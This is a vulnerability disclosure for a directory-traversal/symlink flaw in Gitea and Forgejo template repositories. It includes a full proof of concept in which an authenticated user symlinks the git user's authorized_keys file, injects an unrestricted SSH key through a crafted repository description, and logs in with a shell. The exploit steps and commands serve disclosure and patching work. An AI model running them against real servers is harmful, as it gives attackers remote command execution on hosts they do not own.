
Directory traversal in Gitea and Forgejo's repository‑template processing allows remote authenticated attackers to process arbitrary files on the filesystem, leading to remote code execution.
This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.
While checking Forgejo's and Gitea's source code to better understand how templating is performed, I discovered a vulnerability that allows an authenticated user to create a malicious template repository that can be used to process arbitrary files on the filesystem.
When creating a repository based on the malicious template's Git content, the template will be able to expand arbitrary files on the filesystem.
Knowing the path of the git user's home directory (which defaults to
/data/git in the official docker image), an attacker can expand the
user's file in order to inject a key without the
parameter, that can be used to execute arbitrary commands or an
interactive shell.
git.ssh/authorized_keyscommandAffected versions: Gitea >= v1.11.0-rc1 && <= v1.24.6,
Forgejo <= v11.0.6 || (>= v12.0.0 && <= v13.0.1)
Affected component: Template repositories
Root cause: Symbolic link dereference when reading and writing template files contents
Attacker authenticates as a legitimate user
Attacker creates a malicious template repository containing a symbolic link
to the guessed git user's .ssh/authorized_keys file and a
.forgejo/template file that references the symbolic link
Attacker adds an ssh public key to his account with a custom comment ending
with ${REPO_DESCRIPTION}
Attacker creates a repository referencing the malicious template repository with Git content templating enabled and a description containing a newline followed by another ssh public key
Gitea/Forgejo templates reads and templates the authorized_keys symlink,
causing the previously set public key's comment to be expanded to an arbitrary
entry corresponding to the attacker's repo description, without the command
parameter
Attacker logs in interactively as the git user, using the injected key
It is also possible for the attacker to corrupt configuration file, SQLite database or cause denial of service by reading huge files.
Install and configure a vulnerable version of Gitea/Forgejo
Register or create an account for the attacker using the administrator account
Login using the attacker account
Generate two different SSH keys: one for Git and one for interactive SSH
ssh-keygen -f ~/.ssh/attacker-git -N '' -C '${REPO_DESCRIPTION}'
ssh-keygen -f ~/.ssh/attacker-ssh -N ''
~/.ssh/attacker-git.pub file's contents as an authorized ssh-key
using the Gitea/Forgejo UIThe key comment should be present and look like this:
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
The git user's .ssh/authorized_keys now looks like this:
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw ${REPO_DESCRIPTION}
Create a malicious template repository using the Gitea/Forgejo UI
Clone the template repository and add the malicious symlink and template configuration
# Clone the template repository
git clone https://localhost:3000/attacker/malicious-template
cd malicious-template
# Create malicious symlink
ln -s /data/git/.ssh/authorized_keys
# When using Gitea, create Gitea template configuration
mkdir .gitea
echo authorized_keys > .gitea/template
# When using Forgejo, create Forgejo template configuration
mkdir .forgejo
echo authorized_keys > .forgejo/template
# Commit and push the changes
git add -A
git commit -m 'Initial commit'
git push
~/.ssh/attacker-ssh.pub file's contentsThe repo description should look like this:
replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMxIBbYKl2r41Xzp+SY8qlWmSmK2IGEylQ3D7GDC8IjH attacker@machine
The replaced on the first line is not required, but you need to ensure the
newline is still there regardless.
The attacker@machine comment at the end of the line is also optional.
The resulting git user's .ssh/authorized_keys will look like this:
# gitea public key
command="/usr/local/bin/gitea --config=/data/gitea/conf/app.ini serv key-2",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,no-user-rc,restrict ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDaYKtwaiV0e/cbsrsixGOli8zJiQUpPio+Hc/U9Ruuw replaced
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOqrtpZdMsU5lXMtV7hnlGnz+ngdnTxYMd9hjCMhrR1n attacker@machine
~/.ssh/attacker-ssh key and the ssh clientssh -i ~/.ssh/attacker-ssh git@localhost -p 222